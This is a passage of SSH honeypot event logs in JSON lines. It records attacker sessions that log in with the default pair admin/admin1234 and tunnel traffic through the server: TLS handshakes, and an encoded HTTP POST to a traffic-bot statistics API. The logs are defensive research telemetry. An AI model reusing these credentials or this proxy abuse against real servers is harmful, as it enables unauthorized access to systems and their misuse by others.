deflate\\r\\n\\r\\n_=L1E5Rk1tPjJKS3FRRjA%2BRA%3D%3DtiWQwKBxsEqZc50scKEY3OYvA%2BKyD%2B8pEWWDW7g0NOG8pBQhbvm%2FpbK9F93gvM8BbdezZzfC%2FYjtczdQz7T%2FgqD%2FgGRH1DlNpwnOuA3T3u6xPuC1FVIs6dCRVssETJGskhmPpYvPwpStLNODrc3zhNIkMDiUnyHMLMmZovnE64YGrityhdtd%2F7cqwYe9hgqjIxjuoVfaM86Kt8jirbej7XbOadrODEc85g6T6aBNPAz4M0M%2FsZ%2FezBZCqcHZu6%2By6cWbhJCa5yQo7wja6c22HczPuLbANZy1Nbxz5hignd0tG%2B9pmJAe9NCU6882TFj4fT1femgF6EMlQ4nxUOdwuWtrKmlG%2BNuODQmVyzWiq4Yyx0SvD9dR3AowhFDLGfA1iAn8mzHdAw5LLc04D6GWKw49NHMK5UKGafezymrenGUSP3itY7GRb0JOjX69CgM21LIDFMCWttQwpauuV0m%2FpGpDAVPs8%2FFiPW8qYgCyzsxgHbVhP9jZM3iEV4QqAIdPrc3VcswkTLVMkDgKqWYt4%2BYoFVQmsnqB%2BgKAGSqj7ZrH8mPv1JoZC5f0B8F5Mwm3bZV6DLjQmKUQeHil9%2FMmeW1d68aZGojJtXv6KJ%2B42nCfC2cfT2vN2DPkS7qzZIhuszjpddJbOIFt8cmPhiKpjg7Hkmk5Wi94%2F2mdKCE4ZUQjw2ksawLgNGAXPpPgvx5bIaeT4gySwr7H8DnU3VTxsQfc3TfTXP0jRDAMlok38v5wU%2FCCn%2BPli4j%2FtsWWaPBspaKKKaOEjgzn2dYChyiHM0Xv9yrdEUdCcLAj2Jau%2F7J8Ely2IUtFYvLNHyri4dBR8dkRfgVfk5%2Bq%2Bqp4c7%2FEqaCps5lLjwRPA7Y3kiAuXVRI%2BX1JCN%2FP1VfHu4wM2RdG%2BAgstsxmGSRsEZ6560Adhw7KwmvuDSLNGSLDBmy5KOiWHI7mmSYADCBVGuy8sV%2BZr0KtjbZUW05bR%2Fm4V5ozmCN0nArCLclpEQoNx1mAolf%2BjDszWr96AgvZgQ762nPsSwMbt6Ex%2BL4itGqyHWv8TUWGL3fYL2MyxwlEnjuSuR0tCStcgSZz9gn3nz%2Fii65o'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:49.072678Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:49.075464Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcc\\x820\\x00f~\\rO\\x04\\r_\\xe7\\xcf\\xd5)\\xae\\x9c\\xc0\\xe8\\xc5\\xa3\\x00\\xc3\\xac\\xe1Sd\\x97\\xd2\\xcd\\xb6\\xb8 V\\xb1r\\x80:4\\x07\\xee\\x04\\x90^;\\xdd\\xfc\\x9cC\\xd8Q\\xae\\x89Bq\\xdcR\\\\\\x07\\xa6\\xf5\\xc4C\\xf9\\x88\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 V\\xe8\\x9d\\x1d&\\xe0\\xf5\\xee?aavX\\xb1\\xb5\\xf8\\xae<\\xe6\\xbfU\\xaaqL\\xbb\\x08\\xd0\\x88:>IM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcc\\x820\\x00f~\\rO\\x04\\r_\\xe7\\xcf\\xd5)\\xae\\x9c\\xc0\\xe8\\xc5\\xa3\\x00\\xc3\\xac\\xe1Sd\\x97\\xd2\\xcd\\xb6\\xb8 V\\xb1r\\x80:4\\x07\\xee\\x04\\x90^;\\xdd\\xfc\\x9cC\\xd8Q\\xae\\x89Bq\\xdcR\\\\\\x07\\xa6\\xf5\\xc4C\\xf9\\x88\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 V\\xe8\\x9d\\x1d&\\xe0\\xf5\\xee?aavX\\xb1\\xb5\\xf8\\xae<\\xe6\\xbfU\\xaaqL\\xbb\\x08\\xd0\\x88:>IM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:49.077488Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:49.311479Z","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:49.544725Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbcx\\x17\\x83\\xe59}}O<\\x8e%\\xd7\\xfa\\x1cc\\x11\\x8d<\\x8f\\xba\\xdd\\xfa\\xf3\\x9c\\xd1\\x17R\\xf9\\xf2?a \\x9bkR\\xb9\\x88\\x86\\xad\\xe7\\xeb\\x99;\\xccn\\xf0\\x1d\\xa7\\'\\xd9\\xa8\\xeek\\xb9S\\x0cH\\x12(\\xe1\\xa8W\\xda\\x05\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9f.\\xc0\\xbe8Z\\xf4\\xdcId\\x9d\\xc7Nj\\xb8:UD9u\\xc0\\xbd \\xde\\xfd\\xc3\\x12k\\x14\\x0fe(\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbcx\\x17\\x83\\xe59}}O<\\x8e%\\xd7\\xfa\\x1cc\\x11\\x8d<\\x8f\\xba\\xdd\\xfa\\xf3\\x9c\\xd1\\x17R\\xf9\\xf2?a \\x9bkR\\xb9\\x88\\x86\\xad\\xe7\\xeb\\x99;\\xccn\\xf0\\x1d\\xa7\\'\\xd9\\xa8\\xeek\\xb9S\\x0cH\\x12(\\xe1\\xa8W\\xda\\x05\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9f.\\xc0\\xbe8Z\\xf4\\xdcId\\x9d\\xc7Nj\\xb8:UD9u\\xc0\\xbd \\xde\\xfd\\xc3\\x12k\\x14\\x0fe(\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:49.547764Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:49.925979Z","src_ip":"123.27.168.40","session":"e8143fd68a05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":59070,"dst_ip":"10.17.0.5","dst_port":22,"session":"a082aeef6345","protocol":"ssh","message":"New connection: 113.164.152.20:59070 (10.17.0.5:22) [session: a082aeef6345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:51.240832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:51.244972Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:51.526555Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:52.749307Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:53.314594Z","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:53.491520Z","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:53.933529Z","src_ip":"113.164.152.20","session":"a082aeef6345","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3.1 Mobile/16F203 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RmVrMm1ZemlIP28wdHd4Qw%3D%3DsGADNXqkTRF5Zysk0LvJAOm%2BgxP7FuRB1DeuYu62ScXaHa5zVSp4K84O5XIY4dNnoE%2BFJIaqjWOjNTwLcDxbdtGHBSRmNCq%2BT5L04DQu2h6ruCvu53sYbstrYPtBjOQW2QN8X49fqMiG64YT9SQThA6c9mo2h9p%2BmRXsARXOGAssuv8xE4fk469Va2qs4Kp9%2F%2Fe%2FkH0U71wf6U87AIRcS5z1hlojdghTEJ7DPA1Xy4ZlatqBOOCWCsMQnk7dRd4Jx%2B1XEcCfZ0UDO4mTpBWOoai2jdc4KVN%2FtcUArInyUsCniPPXT8GECCt2krSS9pGVKvXalDzdDL1e7UBMWUzba%2BzCWpDqP2u1763tkm2WaEmOPRvg0Hi2N%2FDTjBdICoHXCwOnB9KIYrWay8ja0aI8PQVw4DpwrCNYVWOuFHb0b6SBW88Vj9sjognC065Qisd7QVcuAelsomQ%2BJBbCYKsElSMHFPOmvJMzkA%2FgtgErM2asvNO0XVSIS6g7SgiOycz%2BSxbDFKTMsLSxw5tx%2ByYVqz%2F2WL06BR3J8DDH%2BSCe76mPsec1%2BQUtikzOXZgP%2BZeqwCs9BJiiPxAY%2B6m8oKUER%2BGBEnkUZpt5cd6masU6C%2FBN%2FQ2po8E%2FGjIA6Cf0zXwwVbZVs3nQNAlxkorxtqP8Sr9uEI6qWo5QuLi5lsKoCVe7oiFp3iaw%2FXy6lft7Jvmxhxm99jd6WQ5W2mDRZDWjbYaK3YjVkfSthGF%2B0ksjgehpYch2D982vZQacQDrFE67wUtqNwJiHybsAvxQyq1K0qvSsDjpJKiLD6EZCjNMoWVt4ENDrVvgqnX0eA8lUKnUdPWG5cgWogoO9YdpjW7TVBjLaaK7JhCgxXMvO1EURiAK8kFZhJOZvooQLFd%2BFK6gzJqsA6cw3OLs76WdH1nz2i4aToeygoulr5pNNMJKE4e7sUwkjNtyhMvIp%2FB7B%2BYh%2BhSaUf6mpZY5H1cSor3sVdY1ogk8RHV8CgI31Kqy2ZTKEph225NB0IF4EoFqYH%2BVXPwrIOxdLua5xuybRudDOms6A4lLTjNhRpMq3TJRDYxCZ65%2Byxy4YeT%2B%2FDgy9Rft'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3.1 Mobile/16F203 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RmVrMm1ZemlIP28wdHd4Qw%3D%3DsGADNXqkTRF5Zysk0LvJAOm%2BgxP7FuRB1DeuYu62ScXaHa5zVSp4K84O5XIY4dNnoE%2BFJIaqjWOjNTwLcDxbdtGHBSRmNCq%2BT5L04DQu2h6ruCvu53sYbstrYPtBjOQW2QN8X49fqMiG64YT9SQThA6c9mo2h9p%2BmRXsARXOGAssuv8xE4fk469Va2qs4Kp9%2F%2Fe%2FkH0U71wf6U87AIRcS5z1hlojdghTEJ7DPA1Xy4ZlatqBOOCWCsMQnk7dRd4Jx%2B1XEcCfZ0UDO4mTpBWOoai2jdc4KVN%2FtcUArInyUsCniPPXT8GECCt2krSS9pGVKvXalDzdDL1e7UBMWUzba%2BzCWpDqP2u1763tkm2WaEmOPRvg0Hi2N%2FDTjBdICoHXCwOnB9KIYrWay8ja0aI8PQVw4DpwrCNYVWOuFHb0b6SBW88Vj9sjognC065Qisd7QVcuAelsomQ%2BJBbCYKsElSMHFPOmvJMzkA%2FgtgErM2asvNO0XVSIS6g7SgiOycz%2BSxbDFKTMsLSxw5tx%2ByYVqz%2F2WL06BR3J8DDH%2BSCe76mPsec1%2BQUtikzOXZgP%2BZeqwCs9BJiiPxAY%2B6m8oKUER%2BGBEnkUZpt5cd6masU6C%2FBN%2FQ2po8E%2FGjIA6Cf0zXwwVbZVs3nQNAlxkorxtqP8Sr9uEI6qWo5QuLi5lsKoCVe7oiFp3iaw%2FXy6lft7Jvmxhxm99jd6WQ5W2mDRZDWjbYaK3YjVkfSthGF%2B0ksjgehpYch2D982vZQacQDrFE67wUtqNwJiHybsAvxQyq1K0qvSsDjpJKiLD6EZCjNMoWVt4ENDrVvgqnX0eA8lUKnUdPWG5cgWogoO9YdpjW7TVBjL